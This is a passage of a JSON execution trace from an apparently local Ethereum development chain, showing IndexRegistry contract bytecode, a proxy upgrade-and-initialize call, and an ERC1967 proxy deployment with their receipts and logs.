06e756d626572000000608482015260a4016102b2565b600101610655565b50949350505050565b604080518082019091526000808252602082015260ff83166000908152600360205260409020805463ffffffff841690811061079257610792611119565b60009182526020918290206040805180820190915291015463ffffffff8082168352600160201b90910416918101919091529392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146108135760405162461bcd60e51b81526004016102b290611090565b60005b818110156108cf57600083838381811061083257610832611119565b919091013560f81c60008181526003602052604081205491935090915081900361086e5760405162461bcd60e51b81526004016102b29061112f565b60ff8216600090815260016020908152604080832089845290915281205463ffffffff169061089c84610d21565b905060006108aa8583610d5b565b90508089146108be576108be8186856109f1565b505060019093019250610816915050565b50505050565b60006108e082610ad3565b54600160201b900463ffffffff1692915050565b60008061090083610ad3565b805490915060009061092090600160201b900463ffffffff1660016111b6565b905061092d848383610d85565b60ff841660009081526002602052604081209061094b60018461119a565b63ffffffff168152602081019190915260400160009081205490036103b75760ff841660009081526002602052604081209061098860018461119a565b63ffffffff908116825260208083019390935260409182016000908120835180850190945243831684528385018281528154600180820184559284529590922093516002909502909301805463ffffffff19169490921693909317815591519101559392505050565b60006109fd8383610a7b565b9050610a0b83838387610e23565b60ff83166000818152600160209081526040808320888452825291829020805463ffffffff191663ffffffff871690811790915582519384529083015285917f6ee1e4f4075f3d067176140d34e87874244dd273294c05b2218133e49a2ba6f6910160405180910390a250505050565b60ff8216600090815260026020908152604080832063ffffffff851684529091528120805490610aac6001836111d2565b81548110610abc57610abc611119565b906000526020600020906002020191505092915050565b60ff81166000908152600360205260408120805490610af36001836111d2565b81548110610b0357610b03611119565b90600052602060002001915050919050565b60ff8216600090815260036020526040812054805b8015610bbd5760ff85166000908152600360205260408120610b4d6001846111d2565b81548110610b5d57610b5d611119565b60009182526020918290206040805180820190915291015463ffffffff808216808452600160201b90920481169383019390935290925090861610610baa576020015192506103fe915050565b5080610bb5816111e5565b915050610b2a565b5060405162461bcd60e51b815260206004820152605560248201527f496e64657852656769737472792e5f6f70657261746f72436f756e744174426c60448201527f6f636b4e756d6265723a2071756f72756d20646964206e6f742065786973742060648201527430ba1033b4bb32b710313637b1b590373ab6b132b960591b608482015260a4016102b2565b60ff8316600090815260026020908152604080832063ffffffff86168452909152812054805b8015610d155760ff8616600090815260026020908152604080832063ffffffff891684529091528120610ca46001846111d2565b81548110610cb457610cb4611119565b600091825260209182902060408051808201909152600290920201805463ffffffff9081168084526001909201549383019390935290925090861610610d02576020015192506103b7915050565b5080610d0d816111e5565b915050610c70565b50600095945050505050565b600080610d2d83610ad3565b8054909150600090610d4e90600190600160201b900463ffffffff1661119a565b90506103b7848383610d85565b600080610d688484610a7b565b6001810154909150610d7d8585846000610e23565b949350505050565b815463ffffffff438116911603610dba57815463ffffffff8216600160201b0267ffffffff0000000019909116178255505050565b60ff83166000908152600360209081526040808320815180830190925263ffffffff438116835285811683850190815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055505050565b815463ffffffff438116911603610e4057600182018190556108cf565b60ff93909316600090815260026020818152604080842063ffffffff968716855282528084208151808301909252438716825281830197885280546001808201835591865292909420905191909202909101805463ffffffff1916919094161783559251919092015550565b600080600060408486031215610ec157600080fd5b83359250602084013567ffffffffffffffff811115610edf57600080fd5b8401601f81018613610ef057600080fd5b803567ffffffffffffffff811115610f0757600080fd5b866020828401011115610f1957600080fd5b939660209190910195509293505050565b602080825282518282018190526000918401906040840190835b81811015610f6857835163ffffffff16835260209384019390920191600101610f44565b509095945050505050565b803560ff81168114610f8457600080fd5b919050565b803563ffffffff81168114610f8457600080fd5b60008060408385031215610fb057600080fd5b610fb983610f73565b9150610fc760208401610f89565b90509250929050565b600060208284031215610fe257600080fd5b6103b782610f73565b60008060006060848603121561100057600080fd5b61100984610f73565b925061101760208501610f89565b915061102560408501610f89565b90509250925092565b602080825282518282018190526000918401906040840190835b81811015610f68578351835260209384019390920191600101611048565b6000806040838503121561107957600080fd5b61108283610f73565b946020939093013593505050565b6020808252604d908201527f496e64657852656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865207265676973747260608201526c3c9031b7b7b93234b730ba37b960991b608082015260a00190565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b60208082526035908201527f496e64657852656769737472792e72656769737465724f70657261746f723a206040820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b63ffffffff82811682821603908111156103fe576103fe611184565b63ffffffff81811683821601908111156103fe576103fe611184565b818103818111156103fe576103fe611184565b6000816111f4576111f4611184565b50600019019056fea264697066735822122080c33ba1d78f6ec0fa73e6d37410d5befe9b68e8bb349d11714fb84c96e0f23f64736f6c634300081c0033000000000000000000000000851356ae760d987e095750cceb3bc6014560891c","output":"0x608060405234801561001057600080fd5b50600436106100b35760003560e01c8063890262451161007157806389026245146101b3578063a48bb0ac146101d3578063bd29b8cd146101e6578063caa3cd76146101f9578063e2e685801461020f578063f34109221461025557600080fd5b8062bff04d146100b857806312d1d74d146100e157806326d941f2146101155780632ed583e51461012a5780636d14a9871461013d5780638121906f1461017c575b600080fd5b6100cb6100c6366004610eac565b610268565b6040516100d89190610f2a565b60405180910390f35b6100f46100ef366004610f9d565b6103be565b60408051825163ffffffff16815260209283015192810192909252016100d8565b610128610123366004610fd0565b610404565b005b6100f4610138366004610feb565b610528565b6101647f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b6040516001600160a01b0390911681526020016100d8565b61018f61018a366004610fd0565b6105ae565b60408051825163ffffffff90811682526020938401511692810192909252016100d8565b6101c66101c1366004610f9d565b6105f5565b6040516100d8919061102e565b61018f6101e1366004610f9d565b610754565b6101286101f4366004610eac565b6107cb565b610201600081565b6040519081526020016100d8565b61024061021d366004611066565b600160209081526000928352604080842090915290825290205463ffffffff1681565b60405163ffffffff90911681526020016100d8565b610240610263366004610fd0565b6108d5565b6060336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146102bb5760405162461bcd60e51b81526004016102b290611090565b60405180910390fd5b60008267ffffffffffffffff8111156102d6576102d6611103565b6040519080825280602002602001820160405280156102ff578160200160208202803683370190505b50905060005b838110156103b357600085858381811061032157610321611119565b919091013560f81c60008181526003602052604081205491935090915081900361035d5760405162461bcd60e51b81526004016102b29061112f565b6000610368836108f4565b905061037f898461037a60018561119a565b6109f1565b8085858151811061039257610392611119565b63ffffffff9290921660209283029190910190910152505050600101610305565b5090505b9392505050565b60408051808201909152600080825260208201526103dc8383610a7b565b60408051808201909152815463ffffffff168152600190910154602082015290505b92915050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c161461044c5760405162461bcd60e51b81526004016102b290611090565b60ff8116600090815260036020526040902054156104c65760405162461bcd60e51b815260206004820152603160248201527f496e64657852656769737472792e63726561746551756f72756d3a2071756f72604482015270756d20616c72656164792065786973747360781b60648201526084016102b2565b60ff166000908152600360209081526040808320815180830190925263ffffffff438116835282840185815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055565b604080518082019091526000808252602082015260ff8416600090815260026020908152604080832063ffffffff8088168552925290912080549091841690811061057557610575611119565b600091825260209182902060408051808201909152600290920201805463ffffffff168252600101549181019190915290509392505050565b60408051808201909152600080825260208201526105cb82610ad3565b60408051808201909152905463ffffffff8082168352600160201b90910416602082015292915050565b606060006106038484610b15565b905060008163ffffffff1667ffffffffffffffff81111561062657610626611103565b60405190808252806020026020018201604052801561064f578160200160208202803683370190505b50905060005b8263ffffffff1681101561074b5761066e868287610c4a565b82828151811061068057610680611119565b6020026020010181815250506000801b8282815181106106a2576106a2611119565b6020026020010151036107435760405162461bcd60e51b815260206004820152605d60248201527f496e64657852656769737472792e6765744f70657261746f724c69737441744260448201527f6c6f636b4e756d6265723a206f70657261746f7220646f6573206e6f7420657860648201527f6973742061742074686520676976656e20626c6f636b206e756d626572000000608482015260a4016102b2565b600101610655565b50949350505050565b604080518082019091526000808252602082015260ff83166000908152600360205260409020805463ffffffff841690811061079257610792611119565b60009182526020918290206040805180820190915291015463ffffffff8082168352600160201b90910416918101919091529392505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146108135760405162461bcd60e51b81526004016102b290611090565b60005b818110156108cf57600083838381811061083257610832611119565b919091013560f81c60008181526003602052604081205491935090915081900361086e5760405162461bcd60e51b81526004016102b29061112f565b60ff8216600090815260016020908152604080832089845290915281205463ffffffff169061089c84610d21565b905060006108aa8583610d5b565b90508089146108be576108be8186856109f1565b505060019093019250610816915050565b50505050565b60006108e082610ad3565b54600160201b900463ffffffff1692915050565b60008061090083610ad3565b805490915060009061092090600160201b900463ffffffff1660016111b6565b905061092d848383610d85565b60ff841660009081526002602052604081209061094b60018461119a565b63ffffffff168152602081019190915260400160009081205490036103b75760ff841660009081526002602052604081209061098860018461119a565b63ffffffff908116825260208083019390935260409182016000908120835180850190945243831684528385018281528154600180820184559284529590922093516002909502909301805463ffffffff19169490921693909317815591519101559392505050565b60006109fd8383610a7b565b9050610a0b83838387610e23565b60ff83166000818152600160209081526040808320888452825291829020805463ffffffff191663ffffffff871690811790915582519384529083015285917f6ee1e4f4075f3d067176140d34e87874244dd273294c05b2218133e49a2ba6f6910160405180910390a250505050565b60ff8216600090815260026020908152604080832063ffffffff851684529091528120805490610aac6001836111d2565b81548110610abc57610abc611119565b906000526020600020906002020191505092915050565b60ff81166000908152600360205260408120805490610af36001836111d2565b81548110610b0357610b03611119565b90600052602060002001915050919050565b60ff8216600090815260036020526040812054805b8015610bbd5760ff85166000908152600360205260408120610b4d6001846111d2565b81548110610b5d57610b5d611119565b60009182526020918290206040805180820190915291015463ffffffff808216808452600160201b90920481169383019390935290925090861610610baa576020015192506103fe915050565b5080610bb5816111e5565b915050610b2a565b5060405162461bcd60e51b815260206004820152605560248201527f496e64657852656769737472792e5f6f70657261746f72436f756e744174426c60448201527f6f636b4e756d6265723a2071756f72756d20646964206e6f742065786973742060648201527430ba1033b4bb32b710313637b1b590373ab6b132b960591b608482015260a4016102b2565b60ff8316600090815260026020908152604080832063ffffffff86168452909152812054805b8015610d155760ff8616600090815260026020908152604080832063ffffffff891684529091528120610ca46001846111d2565b81548110610cb457610cb4611119565b600091825260209182902060408051808201909152600290920201805463ffffffff9081168084526001909201549383019390935290925090861610610d02576020015192506103b7915050565b5080610d0d816111e5565b915050610c70565b50600095945050505050565b600080610d2d83610ad3565b8054909150600090610d4e90600190600160201b900463ffffffff1661119a565b90506103b7848383610d85565b600080610d688484610a7b565b6001810154909150610d7d8585846000610e23565b949350505050565b815463ffffffff438116911603610dba57815463ffffffff8216600160201b0267ffffffff0000000019909116178255505050565b60ff83166000908152600360209081526040808320815180830190925263ffffffff438116835285811683850190815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055505050565b815463ffffffff438116911603610e4057600182018190556108cf565b60ff93909316600090815260026020818152604080842063ffffffff968716855282528084208151808301909252438716825281830197885280546001808201835591865292909420905191909202909101805463ffffffff1916919094161783559251919092015550565b600080600060408486031215610ec157600080fd5b83359250602084013567ffffffffffffffff811115610edf57600080fd5b8401601f81018613610ef057600080fd5b803567ffffffffffffffff811115610f0757600080fd5b866020828401011115610f1957600080fd5b939660209190910195509293505050565b602080825282518282018190526000918401906040840190835b81811015610f6857835163ffffffff16835260209384019390920191600101610f44565b509095945050505050565b803560ff81168114610f8457600080fd5b919050565b803563ffffffff81168114610f8457600080fd5b60008060408385031215610fb057600080fd5b610fb983610f73565b9150610fc760208401610f89565b90509250929050565b600060208284031215610fe257600080fd5b6103b782610f73565b60008060006060848603121561100057600080fd5b61100984610f73565b925061101760208501610f89565b915061102560408501610f89565b90509250925092565b602080825282518282018190526000918401906040840190835b81811015610f68578351835260209384019390920191600101611048565b6000806040838503121561107957600080fd5b61108283610f73565b946020939093013593505050565b6020808252604d908201527f496e64657852656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865207265676973747260608201526c3c9031b7b7b93234b730ba37b960991b608082015260a00190565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b60208082526035908201527f496e64657852656769737472792e72656769737465724f70657261746f723a206040820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b63ffffffff82811682821603908111156103fe576103fe611184565b63ffffffff81811683821601908111156103fe576103fe611184565b818103818111156103fe576103fe611184565b6000816111f4576111f4611184565b50600019019056fea264697066735822122080c33ba1d78f6ec0fa73e6d37410d5befe9b68e8bb349d11714fb84c96e0f23f64736f6c634300081c0033","gas_used":956325,"gas_limit":1282090,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b50600436106100b35760003560e01c8063890262451161007157806389026245146101b3578063a48bb0ac146101d3578063bd29b8cd146101e6578063caa3cd76146101f9578063e2e685801461020f578063f34109221461025557600080fd5b8062bff04d146100b857806312d1d74d146100e157806326d941f2146101155780632ed583e51461012a5780636d14a9871461013d5780638121906f1461017c575b600080fd5b6100cb6100c6366004610eac565b610268565b6040516100d89190610f2a565b60405180910390f35b6100f46100ef366004610f9d565b6103be565b60408051825163ffffffff16815260209283015192810192909252016100d8565b610128610123366004610fd0565b610404565b005b6100f4610138366004610feb565b610528565b6101647f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b6040516001600160a01b0390911681526020016100d8565b61018f61018a366004610fd0565b6105ae565b60408051825163ffffffff90811682526020938401511692810192909252016100d8565b6101c66101c1366004610f9d565b6105f5565b6040516100d8919061102e565b61018f6101e1366004610f9d565b610754565b6101286101f4366004610eac565b6107cb565b610201600081565b6040519081526020016100d8565b61024061021d366004611066565b600160209081526000928352604080842090915290825290205463ffffffff1681565b60405163ffffffff90911681526020016100d8565b610240610263366004610fd0565b6108d5565b6060336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146102bb5760405162461bcd60e51b81526004016102b290611090565b60405180910390fd5b60008267ffffffffffffffff8111156102d6576102d6611103565b6040519080825280602002602001820160405280156102ff578160200160208202803683370190505b50905060005b838110156103b357600085858381811061032157610321611119565b919091013560f81c60008181526003602052604081205491935090915081900361035d5760405162461bcd60e51b81526004016102b29061112f565b6000610368836108f4565b905061037f898461037a60018561119a565b6109f1565b8085858151811061039257610392611119565b63ffffffff9290921660209283029190910190910152505050600101610305565b5090505b9392505050565b60408051808201909152600080825260208201526103dc8383610a7b565b60408051808201909152815463ffffffff168152600190910154602082015290505b92915050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c161461044c5760405162461bcd60e51b81526004016102b290611090565b60ff8116600090815260036020526040902054156104c65760405162461bcd60e51b815260206004820152603160248201527f496e64657852656769737472792e63726561746551756f72756d3a2071756f72604482015270756d20616c72656164792065786973747360781b60648201526084016102b2565b60ff166000908152600360209081526040808320815180830190925263ffffffff438116835282840185815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055565b604080518082019091526000808252602082015260ff8416600090815260026020908152604080832063ffffffff8088168552925290912080549091841690811061057557610575611119565b600091825260209182902060408051808201909152600290920201805463ffffffff168252600101549181019190915290509392505050565b60408051808201909152600080825260208201526105cb82610ad3565b60408051808201909152905463ffffffff8082168352600160201b90910416602082015292915050565b606060006106038484610b15565b905060008163ffffffff1667ffffffffffffffff81111561062657610626611103565b60405190808252806020026020018201604052801561064f578160200160208202803683370190505b50905060005b8263ffffffff1681101561074b5761066e868287610c4a565b82828151811061068057610680611119565b6020026020010181815250506000801b8282815181106106a2576106a2611119565b6020026020010151036107435760405162461bcd60e51b815260206004820152605d60248201527f496e64657852656769737472792e6765744f70657261746f724c69737441744260448201527f6c6f636b4e756d6265723a206f70657261746f7220646f6573206e6f7420657860648201527f6973742061742074686520676976656e20626c6f636b206e756d626572000000608482015260a4016102b2565b600101610655565b50949350505050565b604080518082019091526000808252602082015260ff83166000908152600360205260409020805463ffffffff841690811061079257610792611119565b60009182526020918290206040805180820190915291015463ffffffff8082168352600160201b90910416918101919091529392505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146108135760405162461bcd60e51b81526004016102b290611090565b60005b818110156108cf57600083838381811061083257610832611119565b919091013560f81c60008181526003602052604081205491935090915081900361086e5760405162461bcd60e51b81526004016102b29061112f565b60ff8216600090815260016020908152604080832089845290915281205463ffffffff169061089c84610d21565b905060006108aa8583610d5b565b90508089146108be576108be8186856109f1565b505060019093019250610816915050565b50505050565b60006108e082610ad3565b54600160201b900463ffffffff1692915050565b60008061090083610ad3565b805490915060009061092090600160201b900463ffffffff1660016111b6565b905061092d848383610d85565b60ff841660009081526002602052604081209061094b60018461119a565b63ffffffff168152602081019190915260400160009081205490036103b75760ff841660009081526002602052604081209061098860018461119a565b63ffffffff908116825260208083019390935260409182016000908120835180850190945243831684528385018281528154600180820184559284529590922093516002909502909301805463ffffffff19169490921693909317815591519101559392505050565b60006109fd8383610a7b565b9050610a0b83838387610e23565b60ff83166000818152600160209081526040808320888452825291829020805463ffffffff191663ffffffff871690811790915582519384529083015285917f6ee1e4f4075f3d067176140d34e87874244dd273294c05b2218133e49a2ba6f6910160405180910390a250505050565b60ff8216600090815260026020908152604080832063ffffffff851684529091528120805490610aac6001836111d2565b81548110610abc57610abc611119565b906000526020600020906002020191505092915050565b60ff81166000908152600360205260408120805490610af36001836111d2565b81548110610b0357610b03611119565b90600052602060002001915050919050565b60ff8216600090815260036020526040812054805b8015610bbd5760ff85166000908152600360205260408120610b4d6001846111d2565b81548110610b5d57610b5d611119565b60009182526020918290206040805180820190915291015463ffffffff808216808452600160201b90920481169383019390935290925090861610610baa576020015192506103fe915050565b5080610bb5816111e5565b915050610b2a565b5060405162461bcd60e51b815260206004820152605560248201527f496e64657852656769737472792e5f6f70657261746f72436f756e744174426c60448201527f6f636b4e756d6265723a2071756f72756d20646964206e6f742065786973742060648201527430ba1033b4bb32b710313637b1b590373ab6b132b960591b608482015260a4016102b2565b60ff8316600090815260026020908152604080832063ffffffff86168452909152812054805b8015610d155760ff8616600090815260026020908152604080832063ffffffff891684529091528120610ca46001846111d2565b81548110610cb457610cb4611119565b600091825260209182902060408051808201909152600290920201805463ffffffff9081168084526001909201549383019390935290925090861610610d02576020015192506103b7915050565b5080610d0d816111e5565b915050610c70565b50600095945050505050565b600080610d2d83610ad3565b8054909150600090610d4e90600190600160201b900463ffffffff1661119a565b90506103b7848383610d85565b600080610d688484610a7b565b6001810154909150610d7d8585846000610e23565b949350505050565b815463ffffffff438116911603610dba57815463ffffffff8216600160201b0267ffffffff0000000019909116178255505050565b60ff83166000908152600360209081526040808320815180830190925263ffffffff438116835285811683850190815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055505050565b815463ffffffff438116911603610e4057600182018190556108cf565b60ff93909316600090815260026020818152604080842063ffffffff968716855282528084208151808301909252438716825281830197885280546001808201835591865292909420905191909202909101805463ffffffff1916919094161783559251919092015550565b600080600060408486031215610ec157600080fd5b83359250602084013567ffffffffffffffff811115610edf57600080fd5b8401601f81018613610ef057600080fd5b803567ffffffffffffffff811115610f0757600080fd5b866020828401011115610f1957600080fd5b939660209190910195509293505050565b602080825282518282018190526000918401906040840190835b81811015610f6857835163ffffffff16835260209384019390920191600101610f44565b509095945050505050565b803560ff81168114610f8457600080fd5b919050565b803563ffffffff81168114610f8457600080fd5b60008060408385031215610fb057600080fd5b610fb983610f73565b9150610fc760208401610f89565b90509250929050565b600060208284031215610fe257600080fd5b6103b782610f73565b60008060006060848603121561100057600080fd5b61100984610f73565b925061101760208501610f89565b915061102560408501610f89565b90509250925092565b602080825282518282018190526000918401906040840190835b81811015610f68578351835260209384019390920191600101611048565b6000806040838503121561107957600080fd5b61108283610f73565b946020939093013593505050565b6020808252604d908201527f496e64657852656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865207265676973747260608201526c3c9031b7b7b93234b730ba37b960991b608082015260a00190565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b60208082526035908201527f496e64657852656769737472792e72656769737465724f70657261746f723a206040820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b63ffffffff82811682821603908111156103fe576103fe611184565b63ffffffff81811683821601908111156103fe576103fe611184565b818103818111156103fe576103fe611184565b6000816111f4576111f4611184565b50600019019056fea264697066735822122080c33ba1d78f6ec0fa73e6d37410d5befe9b68e8bb349d11714fb84c96e0f23f64736f6c634300081c0033","nonce":40,"gas_used":1087253},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x221571","logs":[{"address":"0x70e0ba845a1a0f2da3359c97e0285013525ffc49","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x00000000000000000000000000000000000000000000000000000000000000ff"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000040004000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x12aebe12aae19018b1e2fd15191a0caf7d9de830d189db418ba9ce46e8667c70","block_number":4},{"info":{"transaction_hash":"0x531bb7d2f09e987f09c4d13963a4d4dba280416d1bf45f78aa8cf8afe82c8eb2","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x9623609d0000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e8000000000000000000000000809d550fca64d94bd9f66e60752a544199cfac3d00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000064c0c53b8b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb9226600000000000000000000000015d34aaf54267db7d7c367839aaf71a00a2c6a6500000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":113539,"gas_limit":176854,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0x4f1ef286000000000000000000000000809d550fca64d94bd9f66e60752a544199cfac3d00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000064c0c53b8b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb9226600000000000000000000000015d34aaf54267db7d7c367839aaf71a00a2c6a6500000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":107269,"gas_limit":167966,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000809d550fca64d94bd9f66e60752a544199cfac3d"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Call":0}]},{"parent":1,"children":[],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","address":"0x809d550fca64d94bd9f66e60752a544199cfac3d","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xc0c53b8b000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb9226600000000000000000000000015d34aaf54267db7d7c367839aaf71a00a2c6a65","output":"0x","gas_used":94380,"gas_limit":152871,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0xe11cddf1816a43318ca175bbc52cd0185436e9cbead7c83acc54a73e461717e3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2}]}],"exit":"Stop","out":"0x","nonce":49,"gas_used":136899},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x216c3","logs":[{"address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x000000000000000000000000809d550fca64d94bd9f66e60752a544199cfac3d"],"data":"0x"},{"address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},{"address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","topics":["0xe11cddf1816a43318ca175bbc52cd0185436e9cbead7c83acc54a73e461717e3"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},{"address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","topics":["0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498"],"data":"0x0000000000000000000000000000000000000000000000000000000000000001"}],"logsBloom":"0x00000000000000000000000001000000400000000000000000800000000000000000000000000000000000000000000000000100000000002000000000000000000000000000000000000000000002000001000000000000000000000000000008000000020000000000010100000800000000000000000000000000000000400000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000400000104000000000000000000000000000000000020000000200000000000040000100000002000000000000000000020000000000000000000000000000000000000000000000000000000000000001000"},"block_hash":"0x8bdbc9f29bdadf4dd9ae289762eacee21cb4383c0ec444efd9f97b247b6ac93a","block_number":9},{"info":{"transaction_hash":"0xec1ada0302f39886136a682aebc87363a50049efc2b5d128a0703d5573210af8","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x7969c5ed335650692bc04293b07f5bf2e7a673c0","traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x7969c5ed335650692bc04293b07f5bf2e7a673c0","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60806040526040516104da3803806104da833981016040819052610022916102d1565b61002e82826000610035565b50506103f4565b61003e83610061565b60008251118061004b5750805b1561005c5761005a83836100a1565b505b505050565b61006a816100cd565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606100c683836040518060600160405280602781526020016104b360279139610180565b9392505050565b6001600160a01b0381163b61013f5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc80546001600160a01b0319166001600160a01b0392909216919091179055565b60606001600160a01b0384163b6101e85760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610136565b600080856001600160a01b03168560405161020391906103a5565b600060405180830381855af49150503d806000811461023e576040519150601f19603f3d011682016040523d82523d6000602084013e610243565b606091505b50909250905061025482828661025e565b9695505050505050565b6060831561026d5750816100c6565b82511561027d5782518084602001fd5b8160405162461bcd60e51b815260040161013691906103c1565b634e487b7160e01b600052604160045260246000fd5b60005b838110156102c85781810151838201526020016102b0565b50506000910152565b600080604083850312156102e457600080fd5b82516001600160a01b03811681146102fb57600080fd5b6020840151909250600160016040